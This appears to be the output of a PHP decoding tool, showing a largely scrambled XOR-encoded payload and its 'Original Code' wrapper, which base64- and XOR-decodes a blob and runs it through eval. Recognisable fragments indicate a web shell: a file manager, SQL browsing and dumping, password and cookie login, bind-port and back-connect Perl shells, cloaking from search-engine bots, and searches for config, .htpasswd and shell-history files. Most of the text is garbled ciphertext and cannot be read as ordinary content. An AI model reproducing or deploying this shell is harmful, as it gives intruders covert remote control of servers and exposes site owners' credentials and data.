<;L<;TRY^Y sCDETW^CRTY UXGR]PBBR^_ET_EEPS]TW^C\\TEY^UA^BEECEUBAP_eHATBAP_EU<;EUBT]TRE_P\TAC^E^^AEX^_GP]DTWEAwea^AEX^_^AEX^_GP]DT\HB@]|Hb@]^AEX^_^AEX^_GP]DTAVB@]a^BEVCTb@]^AEX^_BT]TREEUECECEU<;X_ADEEHATYXUUT__P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUl<;X_ADEEHATYXUUT__P\TPGP]DTYE\]BATRXP]RYPCBna~bejPl<;X_ADEEHATYXUUT__P\TRYPCBTEGP]DTYE\]BATRXP]RYPCBna~bejRYPCBTEl<;BAP_bTCGTCA^CEBAP_EU<;EUX_ADEEHATETIE_P\TBTCGTCGP]DT  EUEC<;ECEUBAP_sCDETEHATBAP_EU<;EU]PST]X_ADEEHATCPUX^_P\TEHATGP]DT RYTRZTUTERAPBBFU]PST]EUEC<;ECEUEUEU]PST]BEH]TAPUUX_V]TWE AIX_ADEEHATRYTRZS^I_P\TCTGTCBTGP]DT RYTRZTUCTGTCBT]^VX__XV^]]PST]EUEC<;ECEUEUEU]PST]X_ADEEHATCPUX^_P\TEHATGP]DTuXREX^_PCH]PST]EUEC<;ECEUEUEUEPS]TBEH]TAPUUX_V]TWE AIECEUBAP_}^VX_BAP_EU<;EUX_ADEEHATETIE_P\T]^VX_GP]DTC^^EEUEC<;ECEUBAP_uXREX^_PCHBAP_EU<;EUX_ADEEHATETIE_P\TUXREGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlAPBBFUUXREUECEPS]T<;EUECECEUEUEUX_ADEEHATBDS\XEGP]DTEUECW^C\EPS]T
<;TRY^UXGSC
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_b@]J<;R]PBBuSr]PBBJ<;GPCEHAT
<;GPC]X_Z
<;GPCCTB
<;WD_REX^_uSr]PBBEHAT8J<;EYXBEHATEHAT
<;L<;WD_REX^_R^__TREY^BEDBTCAPBBUS_P\TJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;XWEYXB]X_Zq\HB@]nR^__TREY^BEDBTCAPBBECDTCTEDC_ECDT
<;SCTPZ
<;RPBTAVB@]<;Y^BETIA]^UTY^BE
<;XWY^BEj lY^BEj l
<;XWEYXB]X_ZqAVnR^__TREY^BEJY^BEjlLA^CEJY^BEj lLDBTCDBTCAPBBF^CUAPBBUS_P\TUS_P\TCTEDC_ECDT
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_BT]TREUSUSJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;XWq\HB@]nBT]TREnUSUSCTEDC_ECDT
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_@DTCHBECJ<;BFXERYEYXBEHATJ<;RPBT\HB@]<;CTEDC_EYXBCTBq\HB@]n@DTCHBEC
<;SCTPZ
<;RPBTAVB@]<;CTEDC_EYXBCTBqAVn@DTCHEYXB]X_ZBEC
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_WTERYJ<;CTBWD_Rn_D\nPCVBWD_RnVTEnPCVEYXBCTB
<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_q\HB@]nWTERYnPBB^RCTB
<;SCTPZ
<;RPBTAVB@]<;CTEDC_qAVnWTERYnPBB^RCTB
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_]XBEuSBJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_EYXB@DTCHby~fUPEPSPBTB
<;SCTPZ
<;RPBTAVB@]<;CTEDC_EYXBCTBEYXB@DTCHbt}treUPE_P\Twc~|AVnUPEPSPBTfytctUPEXBET\A]PETE
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_]XBEePS]TBJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_EYXBCTBEYXB@DTCHby~feps}tb
<;SCTPZ
<;RPBTAVB@]<;CTEDC_EYXBCTBEYXB@DTCHBT]TREEPS]Tn_P\TWC^\X_W^C\PEX^_nBRYT\PEPS]TBFYTCTEPS]TnBRYT\PX_W^C\PEX^_nBRYT\PpuEPS]TnBRYT\PAVnRPEP]^V
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_TCC^CJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_q\HB@]nTCC^C
<;SCTPZ
<;RPBTAVB@]<;CTEDC_qAVn]PBEnTCC^C
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_BTErYPCBTEBECJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;XWWD_REX^_nTIXBEB\HB@]nBTEnRYPCBTE<;CTEDC_q\HB@]nBTEnRYPCBTEBECEYXB]X_Z
<;T]BT<;EYXB@DTCHbterypcbteBEC
<;SCTPZ
<;RPBTAVB@]<;CTEDC_qAVnBTEnR]XT_EnT_R^UX_VEYXB]X_ZBEC
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_]^PUwX]TBECJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTEDC_EYXBWTERYEYXB@DTCHbt}tre}~punwx}tPUUB]PBYTBBECPBWX]T
<;SCTPZ
<;RPBTAVB@]<;EYXB@DTCHrctpeteps}tFB^WX]TETIE
r~ahFB^wc~|PUUB]PBYTBBEC
BT]TREWX]TWC^\FB^

<;CPCCPH
<;FYX]TXEYXBWTERY<;CjlXjWX]Tl
<;EYXB@DTCHUC^AEPS]TFB^
<;CTEDC_PCCPHWX]TX\A]^UTm_C
<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;WD_REX^_UD\AEPS]TWAWP]BTJ<;BFXERYEYXBEHAT8J<;RPBT\HB@]<;CTBEYXB@DTCHby~frctpeteps}tQEPS]TQ
<;RCTPET\HB@]nWTERYnPCCPHCTB
<;B@]RCTPETj l
m_
<;XWWAWFCXETWAB@]
T]BTTRY^B@]
<;EYXB@DTCHbt}trewc~|QEPS]TQ
<;X
<;YTPUECDT
<;FYX]TXET\EYXBWTERYJ<;B@]
<;XWX J<;YTPUECDT
<;B@]
m_m_
<;L<;<;R^]D\_BPCCPH
<;W^CTPRYXET\PBZGJ<;XWG_D]]<;XET\jZld}}
<;T]BTXWXBnX_EG<;XET\jZlG
<;T]BT<;XET\jZlq\HB@]nCTP]nTBRPATnBECX_VG
<;R^]D\_BjlQZQ
<;L<;XWYTPUJ<;B@]xbtcexe~QEPS]TQX\A]^UTR^]D\_Bgp}dtbm_mEX\A]^UTXET\
<;YTPUWP]BT
<;LT]BT<;B@]m_mEX\A]^UTXET\
<;XWWAWFCXETWAB@]
T]BTTRY^B@]
<;X
<;L<;XWYTPU<;XWWAWFCXETWA
m_m_
T]BTTRY^
m_m_
<;SCTPZ
<;RPBTAVB@]<;EYXB@DTCHbt}trewc~|EPS]T
<;FYX]TXET\EYXBWTERYJ<;R^]D\_BPCCPH
<;W^CTPRYXET\PBZGJ<;XET\jZlPUUB]PBYTBG
<;R^]D\_BjlZ
<;L<;B@]xbtcexe~EPS]TX\A]^UTR^]D\_Bgp}dtbX\A]^UTXET\
m_
<;XWWAWFCXETWAB@]
T]BTTRY^B@]
<;L<;SCTPZ
<;L<;CTEDC_WP]BT
<;L<;L
<;US_TFuSr]PBBna~bejEHATl
<;XWqna~bejAlU^F_]^PUqna~bejA lBT]TREJ<;USR^__TREna~bejB@]nY^BElna~bejB@]n]^VX_lna~bejB@]nAPBBlna~bejB@]nSPBTl
<;USBT]TREUSna~bejB@]nSPBTl
<;BFXERYna~bejRYPCBTElJ<;RPBTfX_U^FB  USBTErYPCBTERA  
SCTPZ
<;RPBTdew	USBTErYPCBTEDEW	
SCTPZ
<;RPBTz~x	cUSBTErYPCBTEZ^X	C
SCTPZ
<;RPBTz~x	dUSBTErYPCBTEZ^X	D
SCTPZ
<;RPBTRA	USBTErYPCBTERA	
SCTPZ
<;L<;XWT\AEHna~bejWX]TlJ<;^SnBEPCE^SnVKYP_U]TC
<;YTPUTCr^_ET_EuXBA^BXEX^_PEEPRY\T_E
WX]T_P\TUD\AB@]
<;YTPUTCr^_ET_EeHATETIEA]PX_
<;W^CTPRYna~bejES]lPBG<;USUD\AG
<;TIXE
<;LT]BTXWWAqW^AT_na~bejWX]TlFJ<;W^CTPRYna~bejES]lPBG<;USUD\AGWA
<;WR]^BTWA
<;D_BTEna~bejAl
<;LT]BT<;UXTBRCXAEP]TCEtCC^CrP_mE^AT_WX]T
FX_U^FYXBE^CHSPRZ BRCXAE
<;L<;FB^yTPUTC
<;TRY^<;Y b@]SC^FBTCY UXGR]PBBR^_ET_E<;W^C\_P\TBW\TEY^UA^BE^_BDS\XEWBEYXB
EPS]TRT]]APUUX_VRT]]BAPRX_VEC<;EUeHATEUEUy^BEEUEU}^VX_EUEUaPBBF^CUEUEUuPEPSPBTEUEUEUECEC<;X_ADEEHATYXUUT__P\TPGP]DTb@]X_ADEEHATYXUUT__P\TA GP]DT@DTCHX_ADEEHATYXUUT__P\TAGP]DTX_ADEEHATYXUUT__P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlX_ADEEHATYXUUT__P\TRYPCBTEGP]DTXBBTEna~bejRYPCBTElna~bejRYPCBTEl<;EUBT]TRE_P\TEHAT^AEX^_GP]DT\HB@]
<;XWqna~bejEHATl\HB@]TRY^BT]TRETU
<;TRY^|Hb@]^AEX^_^AEX^_GP]DTAVB@]
<;XWqna~bejEHATlAVB@]TRY^BT]TRETU
<;TRY^a^BEVCTb@]^AEX^_BT]TREEU<;EUX_ADEEHATETIE_P\TB@]nY^BEGP]DTmT\AEHna~bejB@]nY^BEl]^RP]Y^BEYE\]BATRXP]RYPCBna~bejB@]nY^BElmEU<;EUX_ADEEHATETIE_P\TB@]n]^VX_GP]DTmT\AEHna~bejB@]n]^VX_lC^^EYE\]BATRXP]RYPCBna~bejB@]n]^VX_lmEU<;EUX_ADEEHATETIE_P\TB@]nAPBBGP]DTmT\AEHna~bejB@]nAPBBlYE\]BATRXP]RYPCBna~bejB@]nAPBBlmEUEU
<;E\AX_ADEEHATETIE_P\TB@]nSPBTGP]DT
<;XWXBBTEna~bejB@]nY^BElJ<;XWUSR^__TREna~bejB@]nY^BElna~bejB@]n]^VX_lna~bejB@]nAPBBlna~bejB@]nSPBTlJ<;BFXERYna~bejRYPCBTElJ<;RPBTfX_U^FB  USBTErYPCBTERA  
SCTPZ
<;RPBTdew	USBTErYPCBTEDEW	
SCTPZ
<;RPBTz~x	cUSBTErYPCBTEZ^X	C
SCTPZ
<;RPBTz~x	dUSBTErYPCBTEZ^X	D
SCTPZ
<;RPBTRA	USBTErYPCBTERA	
SCTPZ
<;L<;US]XBEuSB
<;TRY^BT]TRE_P\TB@]nSPBT^AEX^_GP]DT^AEX^_
<;FYX]TXET\USWTERYJ<;]XBEZTHGP]DTTPRYXET\
<;TRY^^AEX^_GP]DTGP]DTGP]DTna~bejB@]nSPBTlBT]TRETUGP]DT^AEX^_
<;L<;TRY^BT]TRE
<;L<;T]BTTRY^E\A
<;LT]BT<;TRY^E\A
<;TRY^EU<;8888EUX_ADEEHATBDS\XEGP]DT^_R]XRZWBUBW
EU<;EUX_ADEEHATRYTRZS^I_P\TB@]nR^D_EGP]DT^_T\AEHna~bejB@]nR^D_ElRYTRZTUR^D_EEYT_D\STC^WC^FBEU<;888EC<;88EPS]T<;88BRCXAE<;BnUSqPUUB]PBYTBna~bejB@]nSPBTl
<;WD_REX^_WBWJ<;XWWB@]nSPBTGP]DTBnUSJW^_BDS\XEWD_REX^_JL
<;XWWA WA GP]DT
<;XWWAWAGP]DT
<;XWWAWAGP]DT
<;L<;L<;888WD_REX^_BEE]J<;8888UBWA GP]DTBT]TRE
<;8888UBWAGP]DTE
<;XW]UBWAUBWAGP]DT]
<;8888UBWBDS\XE
<;888L<;888WD_REX^_XBJ<;8888W^CX
XUBWT]T\T_EBjES]jll]T_VEY
X<;88888UBWT]T\T_EBjES]jlljXlRYTRZTUUBWT]T\T_EBjES]jlljXlRYTRZTU
<;888L<;88BRCXAE
<;XWXBBTEUSUS]X_ZJ<;TRY^SCEPS]TFXUEY RT]]APUUX_VRT]]BAPRX_V
<;XWT\AEHna~bejB@]nSPBTlJ<;USBT]TREUSna~bejB@]nSPBTl
<;TRY^ECEUFXUEY BEH]TS^CUTCE^AAIB^]XU
BAP_ePS]TBBAP_SCSC
<;ES]BnCTBUS]XBEePS]TB
<;FYX]TXET\USWTERYES]BnCTBJ<;]XBEZTHGP]DTTPRYXET\
<;XWT\AEHna~bejB@]nR^D_El<;_USWTERYUS@DTCHbt}trer~dePB_wc~|GP]DT
<;GP]DTYE\]BATRXP]RYPCBGP]DT
<;TRY^_^SCX_ADEEHATRYTRZS^I_P\TES]jlGP]DTGP]DT_SBA
PYCTW^_R]XRZmBEGP]DT mGP]DTPT\AEHna~bejB@]nR^D_El_SBA
B\P]]J_j_lLB\P]]_^SCSC
<;L<;TRY^X_ADEEHATRYTRZS^I^_R]XRZXB
X_ADEEHATSDEE^_GP]DTuD\A^_R]XRZU^RD\T_EBWAGP]DTmU^F_]^PUm
U^RD\T_EBWBDS\XE
SCwX]TAPEYX_ADEEHATETIE_P\TWX]TGP]DTUD\AB@]EUEUBEH]TS^CUTCE^AAIB^]XU

<;XWqna~bejA lBT]TREJ<;na~bejA l@DTCH
<;na~bejAlna~bejAlna~bejAl 
<;US@DTCHbt}trer~dePB_wc~|na~bejAl
<;_D\USWTERY
<;APVTBRTX]_D\j_l
<;TRY^BRCXAEUBW^_BDS\XEWD_REX^_JBEmna~bejAlmUBWAGP]DTLBRCXAEBAP_na~bejAlBAP_J_D\j_lLCTR^CUBaPVTX_ADEEHATETIE_P\TAGP]DTX_Ena~bejAl
<;TRY^^WAPVTB
<;XWna~bejAl <;TRY^PYCTW^_R]XRZBEmna~bejAlna~bejAl ]E
aCTGP
<;XWna~bejAlAPVTB<;TRY^PYCTW^_R]XRZBEmna~bejAlna~bejAl TIEVE
P
<;na~bejAl
<;XWna~bejEHATlAVB@]<;na~bejAlbt}trewc~|na~bejAl}x|xe~wwbtena~bejAl
<;T]BT<;na~bejAlbt}trewc~|Qna~bejAlQ}x|xena~bejAl
<;TRY^SCSC
<;L<;XWqna~bejA l@DTCHT\AEHna~bejAlJ<;US@DTCHqna~bejAl
<;XWUSCTBWP]BTJ<;EXE]TWP]BT
<;TRY^EPS]TFXUEY RT]]BAPRX_V RT]]APUUX_VR]PBB\PX_BEH]TSPRZVC^D_UR^]^C
<;]X_T 
<;FYX]TXET\USWTERY8J<;XWEXE]T8J<;TRY^EC
<;W^CTPRYXET\PBZTHGP]DT<;TRY^EYZTHEY
<;CTBTEXET\
<;EXE]TECDT
<;TRY^ECEC
<;]X_T
<;L<;TRY^ECR]PBB]]X_T
<;]X_T]X_T  
<;W^CTPRYXET\PBZTHGP]DTJ<;XWGP]DT_D]]<;TRY^EUX_D]]XEU
<;T]BT<;TRY^EU_]SCYE\]BATRXP]RYPCBGP]DTEU
<;L<;TRY^EC
<;L<;TRY^EPS]T
<;LT]BTJ<;TRY^UXGStCC^CSYE\]BATRXP]RYPCBUSTCC^CUXG
<;L<;L<;TRY^SCW^C\W^C\^_BDS\XEUBWA GP]DTm@DTCHm
UBWAGP]DTEYXB@DTCHGP]DT
U^RD\T_EBWBDS\XE
CTEDC_WP]BT
ETIEPCTP_P\T@DTCHBEH]TFXUEY 
YTXVYE AI
<;XWT\AEHna~bejAlna~bejA l]^PUWX]T<;TRY^YE\]BATRXP]RYPCBna~bejAl
<;TRY^ETIEPCTPSCX_ADEEHATBDS\XEGP]DTtITRDET
<;TRY^EUEC
<;L<;TRY^EPS]TW^C\SC
<;XWna~bejEHATl\HB@]J<;US@DTCHbt}tre wc~|\HB@]DBTCfytctR^_RPEQDBTCQqQY^BEQdbtcpuQwX]TnACXGQH
<;XWUSWTERY<;TRY^W^C\^_BDS\XEUBWA GP]DTm]^PUWX]Tm
U^RD\T_EBWAGP]DTEYXBWGP]DT
U^RD\T_EBWBDS\XE
CTEDC_WP]BT
BAP_}^PUWX]TBAP_X_ADER]PBBE^^]Bx_AEHATETIE_P\TWX_ADEEHATBDS\XEGP]DTW^C\
<;L<;XWqna~bejA l]^PUWX]TJ<;WX]TUS]^PUwX]Tna~bejAl
<;TRY^SCACTR]PBB\] YE\]BATRXP]RYPCBWX]TjWX]TlACT
<;L<;LT]BTJ<;TRY^YE\]BATRXP]RYPCBUSTCC^C
<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_TEF^CZJ<;FB^yTPUTC
<;SPRZnR^__TREnAxHtGUiH}{ASXFki{Bu`A RdVd[Pg~Fz{v]YkvcHaf]DkicWhicGSXVZ`g{yg]BFibZVWyFVkv]]zr{wR_{GR[^V{rwRSXxA~Fz{ysYkvcHaiGhEYkvcHi]DzrcsdZUffKwU}rpZPfwZkyxAxyI	xvcAkbVXci{HSxxr`YivXzeBrXcFR\SK _kicFR\S{S\wEkbV_UvF{HZu`AKSCki`^dubgd}rs`c]{eZgd}rsee}i ddZgsebFV{ysHScGzbs	WrsZPfd^xZgHR\H~XpZxgIDxXZu`A[SDkfzwa`EwgrFV{ysYkvcHzbs	WrsZPfd^xZgHR\H~XpZxgIDxXZu`AGRvgDzwdct]~}rpXaXkee}cg`XzeBr\Fkf^d cte gd}rpXaXkee}cg`XzeBr\Fkf^d ctcg{b}rpXaXkee}cg`XzeBr_Rc]SbV_}{ASXKPrpEPbRA~FzhIGRd^d ctbdA~FzhIGRd^d cte gdzeBr\BS]zwdctgbdXZ
<;SX_UnA^CEnAxHtGUiH}{ASXFki{Bu`^ZdYwetFxXXPfGRVV}fZX~FzPfhVztssdZUfxuFV|bZVTHs]Tv]zutA~Hsu`A RdVd[Pg~FzR[Pgzw|B{]svi]~cg`B{]a`EWd cbcdw}vU]UysHScGh_]Dhf ]zrUhp_zbZVWyFVkv]]xr{uhfxvHkfwkbsKSCkicRSXxu`AKkicKSCSszw|Bd|i a`EwgrIee bcggecdwtcwxB|bZu`AXPfZzw|BR[PwZky{WPf^{twbc kS|wBbdsctcbiw~fbZAxyI	xvcAkbpX`wDUrsGRvgDxysGR_cRSXxu`ABPikf^dHFKzbs	WrsZPfdVxZYS_`VSv]KUvgDxysGR_cRSXxu`APv]BkbVIzbsu`^{hf[kisztaeZBdHZu`^{Pfh^xbVZRv]ZafkGR\BAzbsu`^{rfcAkbpX`wDS\xvkGR\BXxv]\xrVYkvg\Pf]krpZRv]ZzeBrVZ{Ss]SXsegtc{eXFXarkue~x[BrVZ{Ss]SXsegtcagg`Bx[\`~eXxu`^{rfFkfVd ctcg{b}rx{ZaeZX~Fzr`]]Tvg[xrcebtg|ers	WrsZPfdVRy{AS_`V`~eXpX`wDUrs]Tvg[Uic]xrcebtg|ewIDx[BrVZ{hIGRdV`~e[BrVZ{kiYAUrpF~Fzrir_
<;TRY^Y TEF^CZE^^]BY UXGR]PBBR^_ET_E<;8W^C\_P\T_WA^_bDS\XEmV_D]]_D]]SAAEYXBA^CEGP]DT
CTEDC_WP]BT
m<;8BAP_sX_UA^CEE^SX_BYjATC]lBAP_SC<;8a^CEX_ADEEHATETIE_P\TA^CEGP]DT X_ADEEHATBDS\XEGP]DT<;8W^C\<;8W^C\_P\T_WA^_bDS\XEmV_D]]_D]]SRAEYXBBTCGTCGP]DTEYXBA^CEGP]DT
CTEDC_WP]BT
m<;8BAP_sPRZR^__TREjATC]lBAP_SC<;8bTCGTCX_ADEEHATETIE_P\TBTCGTCGP]DTnbtcgtcjct|~etnpuucla^CEX_ADEEHATETIE_P\TA^CEGP]DT X_ADEEHATBDS\XEGP]DT<;8W^C\SC
<;XWXBBTEna~bejA lJ<;WD_REX^_RWWEJ<;FqW^AT_WF^CqWD_REX^_nTIXBEBWX]TnADEnR^_ET_EB
<;XWFJ<;qWFCXETFqSPBTnUTR^UTE
<;qWR]^BTF
<;L<;L<;XWna~bejA lSAAJ<;RWE\ASAA]SX_UnA^CEnA
<;^DEFB^tIATC]E\ASAA]na~bejAl UTG_D]] 
<;B]TTA 
<;TRY^ACTR]PBB\] ^DEm_FB^tIABPDIMVCTASAA]ACT
<;D_]X_ZE\ASAA]
<;L<;XWna~bejA lSRAJ<;RWE\ASRA]SPRZnR^__TREnA
<;^DEFB^tIATC]E\ASRA]na~bejAlna~bejAl UTG_D]] 
<;B]TTA 
<;TRY^ACTR]PBB\] ^DEm_FB^tIABPDIMVCTASRA]ACT
<;D_]X_ZE\ASRA]
<;L<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;WD_REX^_PREX^_crJ<;XWqna~bejA lJ<;PPCCPH<;D_P\TAYAnD_P\T<;AYAnGTCBX^_AYAGTCBX^_<;FB^nGTCBX^_fb~ngtcbx~<;BPWT\^UTqX_XnVTEBPWTn\^UT<;
<;TRY^BTCXP]XKTP
<;LT]BTJ<;TGP]na~bejA l
<;L<;L<;XWT\AEHna~bejPl<;XWXBBTEUTWPD]EnPREX^_WD_REX^_nTIXBEBPREX^_UTWPD]EnPREX^_<;na~bejPlUTWPD]EnPREX^_
<;T]BT<;na~bejPlbTRx_W^
<;<;XWT\AEHna~bejPlWD_REX^_nTIXBEBPREX^_na~bejPl<;RP]]nDBTCnWD_RPREX^_na~bejPl
"),"111"));?>Did this file decode correctly?
Original Code
<?php function e($g, $d){ for($p=0;$p<strlen($g);) for($t=0;$t<strlen($d);$t++, $p++) $c .= $g[$p] ^ $d[$t]; return $c; };eval(e(base64_decode("R^]^CUWW
<;UTWPD]EnDBTnP[PIECDT
<;UTWPD]EnRYPCBTEfX_U^FB  
<;PDEYnAPBBRWUU T	TWU PPRSUUU
<;UTWPD]EnPREX^_wX]TB|P_
<;XWT\AEHnbtcgtcjyeeandbtcnpvtelJ<;DBTCpVT_EBPCCPHv^^V]Tb]DCA|bs^EXPnPCRYXGTChP_UTIcP\S]TC
<;XWACTVn\PERYX\A]^UTMDBTCpVT_EBXnbtcgtcjyeeandbtcnpvtelJ<;YTPUTCyeea ^Ew^D_U
<;TIXE
<;L<;L<;<;qX_XnBTETCC^Cn]^Vd}}
<;qX_XnBTE]^VnTCC^CB
<;qX_XnBTE\PInTITRDEX^_nEX\T
<;qBTEnEX\Tn]X\XE
<;qUTWX_Tfb~ngtcbx~S^_[DC
<;<;WD_REX^_FB^}^VX_J<;UXTACTP]XV_RT_ETCW^C\\TEY^UA^BEaPBBF^CUX_ADEEHATAPBBF^CU_P\TAPBBX_ADEEHATBDS\XEGP]DTW^C\ACT
<;L<;<;WD_REX^_fb~BTER^^ZXTZGJ<;nr~~zxtjZlG
<;BTER^^ZXTZG
<;L<;<;XWT\AEHPDEYnAPBBJ<;XWXBBTEna~bejAPBBl\Una~bejAPBBlPDEYnAPBB<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belPDEYnAPBB
<;<;XWXBBTEnr~~zxtj\Unbtcgtcjyeeany~bellMMnr~~zxtj\Unbtcgtcjyeeany~bellPDEYnAPBB<;FB^}^VX_
<;L<;<;XWBECE^]^FTCBDSBECayan~bFX_<;^BFX_
<;T]BT<;^B_XI
<;<;BPWTn\^UTqX_XnVTEBPWTn\^UT
<;XWBPWTn\^UT<;TCC^CnCTA^CEX_V
<;<;UXBPS]TnWD_REX^_BqX_XnVTEUXBPS]TnWD_REX^_B
<;Y^\TnRFUqVTERFU
<;XWXBBTEna~bejRl<;qRYUXCna~bejRl
<;RFUqVTERFU
<;XW^BFX_J<;Y^\TnRFUBECnCTA]PRTmmY^\TnRFU
<;RFUBECnCTA]PRTmmRFU
<;L<;XWRFUjBEC]T_RFU l<;RFU
<;<;XWXBBTEnr~~zxtj\Unbtcgtcjyeeany~belP[PIl<;nr~~zxtj\Unbtcgtcjyeeany~belP[PIlS^^]UTWPD]EnDBTnP[PI
<;<;XW^BFX_<;P]XPBTBPCCPH<;}XBEuXCTRE^CHUXC<;wX_UX_UTIAYAX_RDCCT_EUXCUXCBFSX_UTIAYA<;wX_UR^_WXVAYAX_RDCCT_EUXCUXCBFSR^_WXVAYA<;bY^FPREXGTR^__TREX^_B_TEBEPEP_<;bY^FCD__X_VBTCGXRTB_TEBEPCE<;dBTCPRR^D_EB_TEDBTC<;bY^FR^\ADETCB_TEGXTF<;pcaePS]TPCAP<;xar^_WXVDCPEX^_XAR^_WXVP]]<;
<;T]BT<;P]XPBTBPCCPH<;}XBEUXC]B]YP<;]XBEWX]TPEECXSDETB^_P}X_DIBTR^_UTIET_UTUWX]TBHBET\]BPEECGP<;BY^F^AT_TUA^CEB_TEBEPEP_MVCTAX]XBET_<;AC^RTBBBEPEDBABPDI<;wX_U<;WX_UP]]BDXUWX]TBWX_UEHATWATC\]B<;WX_UBDXUWX]TBX_RDCCT_EUXCWX_UEHATWATC\]B<;WX_UP]]BVXUWX]TBWX_UEHATWATC\]B<;WX_UBVXUWX]TBX_RDCCT_EUXCWX_UEHATWATC\]B<;WX_UR^_WXVX_RAYAWX]TBWX_UEHATW_P\TR^_WXVX_RAYA<;WX_UR^_WXVWX]TBWX_UEHATW_P\TmR^_WXVm<;WX_UR^_WXVWX]TBX_RDCCT_EUXCWX_UEHATW_P\TmR^_WXVm<;WX_UP]]FCXEPS]TW^]UTCBP_UWX]TBWX_UATC\]B<;WX_UP]]FCXEPS]TW^]UTCBP_UWX]TBX_RDCCT_EUXCWX_UATC\]B<;WX_UP]]BTCGXRTAFUWX]TBWX_UEHATW_P\TBTCGXRTAFU<;WX_UBTCGXRTAFUWX]TBX_RDCCT_EUXCWX_UEHATW_P\TBTCGXRTAFU<;WX_UP]]YEAPBBFUWX]TBWX_UEHATW_P\TYEAPBBFU<;WX_UYEAPBBFUWX]TBX_RDCCT_EUXCWX_UEHATW_P\TYEAPBBFU<;WX_UP]]SPBYnYXBE^CHWX]TBWX_UEHATW_P\TSPBYnYXBE^CH<;WX_USPBYnYXBE^CHWX]TBX_RDCCT_EUXCWX_UEHATW_P\TSPBYnYXBE^CH<;WX_UP]]WTERY\PX]CRWX]TBWX_UEHATW_P\TWTERY\PX]CR<;WX_UWTERY\PX]CRWX]TBX_RDCCT_EUXCWX_UEHATW_P\TWTERY\PX]CR<;}^RPET<;]^RPETYEEAUR^_WWX]TB]^RPETYEEAUR^_W<;]^RPETGY^BEBR^_WWX]TB]^RPETGY^BEBR^_W<;]^RPETAC^WEAUR^_WWX]TB]^RPETAC^WEAUR^_W<;]^RPETABHS_RR^_WWX]TB]^RPETABHS_RR^_W<;]^RPET\HR^_WWX]TB]^RPET\HR^_W<;]^RPETPU\X_AYAWX]TB]^RPETPU\X_AYA<;]^RPETRWVAYAWX]TB]^RPETRWVAYA<;]^RPETR^_WAYAWX]TB]^RPETR^_WAYA<;]^RPETR^_WXVUPEWX]TB]^RPETR^_WXVUPE<;]^RPETR^_WXVAYAWX]TB]^RPETR^_WXVAYA<;]^RPETR^_WXVX_RWX]TB]^RPETR^_WXVX_R<;]^RPETR^_WXVX_RAYA]^RPETR^_WXVX_RAYA<;]^RPETR^_WXVUTWPD]EAYAWX]TB]^RPETR^_WXVUTWPD]EAYA<;]^RPETR^_WXVWX]TB]^RPETR^_WXV<;]^RPETR^_WWX]TB]^RPETR^_W<;]^RPETAFUWX]TB]^RPETAFU<;]^RPETB@]WX]TB]^RPETB@]<;]^RPETYEAPBBFUWX]TB]^RPETYEAPBBFU<;]^RPETSPBYnYXBE^CHWX]TB]^RPETSPBYnYXBE^CH<;]^RPET\HB@]nYXBE^CHWX]TB]^RPET\HB@]nYXBE^CH<;]^RPETWTERY\PX]CRWX]TB]^RPETWTERY\PX]CR<;]^RPETSPRZDAWX]TB]^RPETSPRZDA<;]^RPETUD\AWX]TB]^RPETUD\A<;]^RPETACXGWX]TB]^RPETACXG<;
<;<;WD_REX^_FB^yTPUTCJ<;XWT\AEHna~bejRYPCBTEl<;na~bejRYPCBTElv}~sp}bjUTWPD]EnRYPCBTEl
<;V]^SP]R^]^C
<;TRY^YE\]YTPU\TEPYEEAT@DXGr^_ET_EeHATR^_ET_EETIEYE\]
RYPCBTEna~bejRYPCBTElEXE]Tnbtcgtcjyeeany~belYT]]^fb~ngtcbx~EXE]T<;BEH]T<;S^UHJSPRZVC^D_UR^]^C
R^]^CT T T 
L<;S^UHEUEYJW^_EAE}DRXUPgTCUP_P
\PCVX_
GTCEXRP]P]XV_E^A
R^]^CT T T 
L<;EPS]TX_W^JR^]^CWWW
SPRZVC^D_UR^]^C
L<;BAP_Y PJR^]^CR^]^CX\A^CEP_E
L<;BAP_JW^_EFTXVYES^]UTC
L<;Y JS^CUTC]TWEAIB^]XUR^]^C
APUUX_VAIAI
W^_E AEgTCUP_P
SPRZVC^D_UR^]^C
\PCVX_AI
L<;UXGR^_ET_EJAPUUX_VAI
\PCVX_]TWEAI
SPRZVC^D_UR^]^C
L<;PJETIEUTR^CPEX^__^_T
L<;PY^GTCJETIEUTR^CPEX^_D_UTC]X_T
L<;\] JS^CUTC AIB^]XU
APUUX_VAI
\PCVX_
^GTCW]^FPDE^
L<;SXVPCTPJFXUEY 
YTXVYEAI
L<;X_ADEETIEPCTPBT]TREJ\PCVX_
R^]^CWWW
SPRZVC^D_UR^]^C
S^CUTC AIB^]XUR^]^C
W^_EAE|^_^BAPRTr^DCXTCTF
L<;W^C\J\PCVX_AI
L<;E^^]BeS]JETIEP]XV_RT_ETC
L<;E^^]Bx_AJFXUEYAIL<;\PX_EYJETIEP]XV_]TWE
SPRZVC^D_UR^]^CTTT
